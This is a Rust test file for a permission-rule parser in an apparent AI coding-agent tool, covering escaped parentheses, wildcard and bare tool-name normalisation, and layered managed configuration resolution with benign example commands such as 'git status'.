// ═══════════════════════════════════════════════════════════════════════
|
||
// Escaped parentheses tests
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
|
||
#[test]
|
||
fn parse_escaped_parens_in_content() {
|
||
// "Bash(python -c \"print\\(1\\)\")" should unescape to content "python -c \"print(1)\""
|
||
let rule =
|
||
parse_permission_rule(r#"Bash(python -c "print\(1\)")"#, RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Bash);
|
||
assert_eq!(rule.pattern, Some(r#"python -c "print(1)""#.to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn parse_escaped_backslash_in_content() {
|
||
let rule = parse_permission_rule(r"Bash(echo test\\nvalue)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Bash);
|
||
assert_eq!(rule.pattern, Some(r"echo test\nvalue".to_string()));
|
||
}
|
||
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
// Bash(*) and Bash() normalization tests
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
|
||
#[test]
|
||
fn bash_star_is_tool_wide() {
|
||
let rule = parse_permission_rule("Bash(*)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Bash);
|
||
assert!(
|
||
rule.pattern.is_none(),
|
||
"Bash(*) should be tool-wide (no pattern)"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn bash_empty_is_tool_wide() {
|
||
let rule = parse_permission_rule("Bash()", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Bash);
|
||
assert!(
|
||
rule.pattern.is_none(),
|
||
"Bash() should be tool-wide (no pattern)"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn edit_star_is_tool_wide() {
|
||
let rule = parse_permission_rule("Edit(*)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Edit);
|
||
assert!(
|
||
rule.pattern.is_none(),
|
||
"Edit(*) should be tool-wide (no pattern)"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn read_star_is_tool_wide() {
|
||
let rule = parse_permission_rule("Read(*)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Read);
|
||
assert!(
|
||
rule.pattern.is_none(),
|
||
"Read(*) should be tool-wide (no pattern)"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn deny_star_is_tool_wide() {
|
||
let rule = parse_permission_rule("Bash(*)", RuleAction::Deny).unwrap();
|
||
assert_eq!(rule.action, RuleAction::Deny);
|
||
assert_eq!(rule.tool, ToolFilter::Bash);
|
||
assert!(rule.pattern.is_none());
|
||
}
|
||
|
||
#[test]
|
||
fn parse_escaped_backslash_before_paren() {
|
||
// \\( in content = escaped backslash + literal open-paren
|
||
let rule = parse_permission_rule(r"Bash(echo \\(test)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.pattern, Some(r"echo \(test".to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn trailing_content_after_close_paren_is_ignored() {
|
||
let rule = parse_permission_rule("Bash(ls) extra", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Bash);
|
||
assert_eq!(rule.pattern, Some("ls".to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn parse_bare_glob_tool_name() {
|
||
let rule = parse_permission_rule("Glob", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Grep);
|
||
assert!(rule.pattern.is_none());
|
||
}
|
||
|
||
#[test]
|
||
fn parse_bare_web_search_tool_name() {
|
||
let rule = parse_permission_rule("WebSearch", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::WebSearch);
|
||
assert!(rule.pattern.is_none());
|
||
}
|
||
|
||
#[test]
|
||
fn parse_bare_notebook_read_tool_name() {
|
||
let rule = parse_permission_rule("NotebookRead", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Read);
|
||
assert!(rule.pattern.is_none());
|
||
}
|
||
|
||
#[test]
|
||
fn parse_bare_notebook_edit_tool_name() {
|
||
let rule = parse_permission_rule("NotebookEdit", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Edit);
|
||
assert!(rule.pattern.is_none());
|
||
}
|
||
|
||
#[test]
|
||
fn parse_bare_web_fetch_tool_name() {
|
||
let rule = parse_permission_rule("WebFetch", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::WebFetch);
|
||
assert!(rule.pattern.is_none());
|
||
}
|
||
|
||
#[tokio::test]
|
||
async fn managed_config_toml_rules_resolve_as_non_admin_defaults() {
|
||
let system = tempfile::tempdir().unwrap();
|
||
let user = tempfile::tempdir().unwrap();
|
||
// Catch-all in the root-owned system layer, scoped allow in the user layer.
|
||
std::fs::write(
|
||
system.path().join("managed_config.toml"),
|
||
"[permission]\nallow = [\"*\"]\n",
|
||
)
|
||
.unwrap();
|
||
std::fs::write(
|
||
user.path().join("managed_config.toml"),
|
||
"[permission]\nallow = [\"Bash(git status)\"]\n",
|
||
)
|
||
.unwrap();
|
||
|
||
let layers = kigi_config::managed_config_layers_at(Some(system.path()), Some(user.path()));
|
||
assert!(layers[0].is_system && layers[0].path.starts_with(system.path()));
|
||
assert!(!layers[1].is_system && layers[1].path.starts_with(user.path()));
|
||
let rules = managed_config_permissions(&layers);
|
||
assert_eq!(rules.len(), 2);
|
||
assert!(rules.iter().all(|s| {
|
||
matches!(&s.source, RequirementSource::ManagedConfig { .. })
|
||
&& !is_admin_source(&s.source)
|
||
}));
|
||
|
||
// A corrupt layer is skipped without dropping the healthy one.
|
||
std::fs::write(
|
||
system.path().join("managed_config.toml"),
|
||
"not valid toml [",
|
||
)
|
||
.unwrap();
|
||
assert_eq!(
|
||
kigi_config::managed_config_layers_at(Some(system.path()), Some(user.path())).len(),
|
||
1
|
||
);
|
||
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let resolved = resolve_permissions_with_provenance_inner(
|
||
tmp.path(),
|
||
ResolveInputs {
|
||
managed_config_rules: rules,
|
||
..inputs(Some(PIN))
|
||
},
|
||
)
|
||
.await
|
||
.expect("managed_config rules alone produce a config");
|
||
assert!(resolved.config.rules.iter().any(|r| {
|
||
r.action == RuleAction::Allow
|
||
&& r.tool == ToolFilter::Bash
|
||
&& r.pattern.as_deref() == Some("git status")
|
||
}));
|
||
assert!(!resolved.config.rules.iter().any(is_catchall_allow));
|
||
assert!(resolved.skipped.iter().any(|s| s.reason == PIN));
|
||
}
|
||
}
|